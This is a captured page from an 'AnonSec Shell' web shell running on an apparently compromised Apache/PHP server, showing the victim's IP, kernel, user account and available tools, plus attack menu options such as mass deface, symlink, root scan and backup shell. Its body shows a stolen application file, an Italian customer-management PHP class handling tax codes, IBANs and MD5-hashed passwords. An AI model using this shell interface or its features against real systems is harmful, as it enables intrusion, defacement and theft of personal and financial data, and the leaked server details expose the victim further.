AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 52.223.31.75 / Your IP : 172.31.44.28 [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/ascii/app/_components/cliente/helper/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/ascii/app/_components/cliente/helper/content.php

<?php

class ContentCliente extends Content
{
  
  
  /**
   * 
   * 
   * 
   * 
   * 
   * 
   * 
   * @author Angelo Pescatore
   * 
   * Queste API permettono il crud sui corsi
   * 
   * 
   * 
   * 
   */
/*

  SELECT cliente.*, GROUP_CONCAT(DISTINCT tags.valore SEPARATOR ', ' ) as tags FROM cliente LEFT OUTER JOIN tags on cliente.idcliente=tags.idtabella AND nometabella LIKE 'cliente'  GROUP BY idcliente


EXPLAIN SELECT cliente.*, GROUP_CONCAT(DISTINCT tags.valore SEPARATOR ', ' ) as tags FROM cliente LEFT OUTER JOIN tags on cliente.idcliente=tags.idtabella AND nometabella LIKE 'cliente' 


#SELECT * from cliente

SELECT * 
FROM cliente
WHERE cliente.idcliente NOT IN ( 
  SELECT cliente.idcliente FROM cliente JOIN tags on cliente.idcliente=tags.idtabella WHERE nometabella LIKE 'cliente'  GROUP BY idcliente
)

*/
  public function getTagCliente($id)
  {
    $aid   = $this->QuoteInt($id);
    $query = "SELECT valore FROM tags where idtabella = $aid AND nometabella LIKE 'cliente' ";
    return $this->SafeFetch($query);
    
  }
  public function getClienti($lite=false)
  {
    if($lite){
      $query = "SELECT cliente.* FROM cliente";
    }else{
      $query = "SELECT cliente.*, CONCAT(user.firstname, ' ', user.lastname) as ricercaUser FROM cliente LEFT JOIN user on cliente.iduser = user.id_user";
    }
    return $this->SafeFetch($query);
    
  }

  public function getCliente($id)
  {

      $aidcliente   = $this->QuoteInt($id);
      $query = "SELECT cliente.*, CONCAT(user.firstname, ' ', user.lastname) as ricercaUser FROM cliente LEFT JOIN user on cliente.iduser = user.id_user WHERE idcliente = $aidcliente";
    
    return $this->SafeFetch($query);
    
  }

  

  public function getClientiSoloEmail()
  {
    
      $query = "SELECT idcliente, ragioneSociale, email FROM cliente";

      return $this->SafeFetch($query);
    
  }

  public function getClientiSoloId()
  {
    
      $query = "SELECT idcliente as id, CONCAT(ragioneSociale, ' (', citta,')') as label FROM cliente";

      return $this->SafeFetch($query);
    
  }
  public function getEmailClienteFromId($idcliente)
  {
    
        $idcliente = $this->QuoteInt($idcliente);
      
        $query = "SELECT email as email FROM cliente WHERE idcliente = $idcliente";

        $res= $this->SafeFetchOne($query);

        return $res['email'];

  }

  public function deleteCliente($id)
  {
    
    $aid   = $this->QuoteInt($id);
    $query = "DELETE FROM cliente where idcliente = $aid";
    return $this->SafeExec($query);
    
  }
  public function aggiungTag($valore, $id, $tabella)
  {
    $avalore  = $this->QuoteText($valore);
    $aid      = $this->QuoteInt($id);
    $atabella = $this->QuoteText($tabella);
    $query    = "INSERT INTO tags (valore, idtabella, nometabella) VALUES ($avalore, $aid, $atabella) ";
    return $this->SafeInsert($query);
  }
  
  public function getTags($idcliente, $nometabella)
  {
    $aid   = $this->quoteInt($idcliente);
    $anom  = $this->quoteText($nometabella);
    $query = "SELECT * FROM tags WHERE idtabella LIKE $aid AND nometabella LIKE $anom ";
    return $this->SafeFetch($query);
  }
  
  
  public function rimuoviTag($id)
  {
    $aid   = $this->quoteInt($id);
    $query = "DELETE FROM tags where id LIKE $aid";
    return $this->SafeExec($query);
  }
  
  public function insertCliente($ragioneSociale, $indirizzo, $citta, $piva, $codicefiscale, $telefono, $cellulare, $email, $password, $note, $sede, $cap, $standarpagamento, $iban, $iva, $iduser, $marketing, $recruiting, $datanascita)
  {
    $aragioneSociale   = $this->quoteText($ragioneSociale);
    $aindirizzo        = $this->quoteText($indirizzo);
    $acitta            = $this->quoteText($citta);
    $apiva             = $this->quoteText($piva);
    $acodicefiscale    = $this->quoteText($codicefiscale);
    $atelefono         = $this->quoteText($telefono);
    $acellulare        = $this->quoteText($cellulare);
    $aemail            = $this->quoteText($email);
    $datanascita            = $this->quoteText($datanascita);
    
    $acap              = $this->quoteText($cap);
    $astandarpagamento = $this->quoteText($standarpagamento);
    $aiban             = $this->quoteText($iban);
    $aiva              = $this->quoteText($iva);
    $anote             = $this->quoteText($note);
    $asede             = $this->quoteText($sede);
    $aiduser        = $this->quoteInt($iduser);

    if($marketing)
      $amarketing        = $this->quoteInt(1);
    else
      $amarketing        = $this->quoteInt(0);
    
    if($recruiting)
      $arecruiting        = $this->quoteInt(1);
    else
      $arecruiting        = $this->quoteInt(0);
    

    if($password){
      $apassword            = $this->quoteText(md5($password));
      $query             = "INSERT INTO cliente   (ragioneSociale,indirizzo,citta,piva,codicefiscale,telefono,cellulare,email, password, note,sede, cap, standardpagamento, iban, iva, iduser, marketing, recruiting, datanascita)   VALUES($aragioneSociale,$aindirizzo,$acitta,$apiva,$acodicefiscale,$atelefono,$acellulare,$aemail, $apassword, $anote,$asede, $acap, $astandarpagamento, $aiban, $aiva, $aiduser, $amarketing, $arecruiting, $datanascita)";

    }else{
      $query             = "INSERT INTO cliente   (ragioneSociale,indirizzo,citta,piva,codicefiscale,telefono,cellulare,email, note,sede, cap, standardpagamento, iban, iva, iduser, marketing, recruiting, datanascita)   VALUES($aragioneSociale,$aindirizzo,$acitta,$apiva,$acodicefiscale,$atelefono,$acellulare,$aemail, $anote,$asede, $acap, $astandarpagamento, $aiban, $aiva, $aiduser, $amarketing, $arecruiting, $datanascita)";
    }
    
    return $this->SafeInsert($query);
  }
  
  public function editCliente($idCliente, $ragioneSociale, $indirizzo, $citta, $piva, $codicefiscale, $telefono, $cellulare, $email, $password, $note, $sede, $cap, $standarpagamento, $iban, $iva, $iduser, $marketing, $recruiting, $datanascita)
  {
    
    $aidCliente        = $this->quoteInt($idCliente);
    $aiduser        = $this->quoteInt($iduser);
    $aragioneSociale   = $this->quoteText($ragioneSociale);
    $aindirizzo        = $this->quoteText($indirizzo);
    $acitta            = $this->quoteText($citta);
    $apiva             = $this->quoteText($piva);
    $acodicefiscale    = $this->quoteText($codicefiscale);
    $atelefono         = $this->quoteText($telefono);
    $acellulare        = $this->quoteText($cellulare);
    $aemail            = $this->quoteText($email);
    $anote             = $this->quoteText($note);
    $acap              = $this->quoteText($cap);
    $astandarpagamento = $this->quoteText($standarpagamento);
    $aiban             = $this->quoteText($iban);
    $aiva              = $this->quoteText($iva);
    $asede             = $this->quoteText($sede);
    $datanascita       = $this->quoteText($datanascita);

    if($marketing)
      $amarketing        = $this->quoteInt(1);
    else
      $amarketing        = $this->quoteInt(0);
    
    if($recruiting)
      $arecruiting        = $this->quoteInt(1);
    else
      $arecruiting        = $this->quoteInt(0);

    if($password){

         $apassword            = $this->quoteText(md5($password));
         $query             = "UPDATE cliente SET  ragioneSociale= $aragioneSociale,  indirizzo= $aindirizzo,citta= $acitta,piva= $apiva,codicefiscale= $acodicefiscale,telefono= $atelefono,cellulare= $acellulare,email= $aemail, password=$apassword, note= $anote,sede= $asede, marketing=$amarketing, recruiting=$arecruiting, cap=$acap, standardpagamento=$astandarpagamento, iban=$aiban, iva=$aiva, datanascita=$datanascita WHERE idcliente=$aidCliente";
    }else{
       $query             = "UPDATE cliente SET  ragioneSociale= $aragioneSociale,  indirizzo= $aindirizzo,citta= $acitta,piva= $apiva,codicefiscale= $acodicefiscale,telefono= $atelefono,cellulare= $acellulare,email= $aemail, marketing=$amarketing, recruiting=$arecruiting, note= $anote,sede= $asede, cap=$acap,standardpagamento=$astandarpagamento, iban=$aiban, iva=$aiva, datanascita=$datanascita WHERE idcliente=$aidCliente";
    }

   
    
     $this->SafeExec($query);

     $asd = "INSERT INTO cliente_meta (id_user, idcliente) VALUES($aiduser,$aidCliente)";
    $this->SafeInsert($asd);

    return true;
    
  }
  
  public function getStandarPagamento()
  {
    $query = "SELECT * FROM standarpagamento";
    $one   = $this->SafeFetch($query);
    return $one;
  }
  
}

?>

Anon7 - 2022
AnonSec Team